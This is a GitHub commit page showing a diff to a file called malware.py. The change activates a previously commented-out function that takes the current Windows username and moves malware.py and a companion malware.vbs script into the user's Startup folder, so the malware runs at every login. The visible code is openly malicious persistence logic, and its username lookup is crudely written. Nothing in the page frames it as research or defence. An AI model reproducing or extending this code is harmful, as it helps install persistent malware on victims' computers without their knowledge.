Skip to content

Commit adf112d

Browse files
authored
Update malware.py
1 parent 49e22c2 commit adf112d

1 file changed

Lines changed: 12 additions & 11 deletions

File tree

malware.py

Lines changed: 12 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -7,24 +7,25 @@
77
import threading
88
except:
99
import os
10-
os.system('pip install socket subprocess requests shutil')
10+
os.system('pip install socket subprocess requests shutil threading')
1111
vbs_script = "malware.vbs"
1212

1313

1414
#adds the entire malware collection to the startup folder
1515
# |
1616
# |
1717
# V
18-
#def movedir():
19-
#user = subprocess.check_output("whoami", shell=True, text=True)
20-
#user = user[-6:].strip()
21-
#print(user)
22-
#currectdir = os.getcwd()
23-
#startup = f"C:\\Users\\{user}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
24-
#if os.path.exists(f"C:\\Users\\{user}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"):
25-
# shutil.move(f"{currectdir}\\malware.py", f"{startup}\\malware.py")
26-
#else:
27-
# pass
18+
def movedir():
19+
user = subprocess.check_output("whoami", shell=True, text=True)
20+
user = user[-6:].strip()
21+
print(user)
22+
currectdir = os.getcwd()
23+
startup = f"C:\\Users\\{user}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
24+
if os.path.exists(f"C:\\Users\\{user}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"):
25+
shutil.move(f"{currectdir}\\malware.py", f"{startup}\\malware.py")
26+
shutil.move(f"{currectdir}\\malware.vbs", f"{startup}\\malware.vbs")
27+
else:
28+
pass
2829

2930

3031
def whoami(*args):

0 commit comments

Comments
 (0)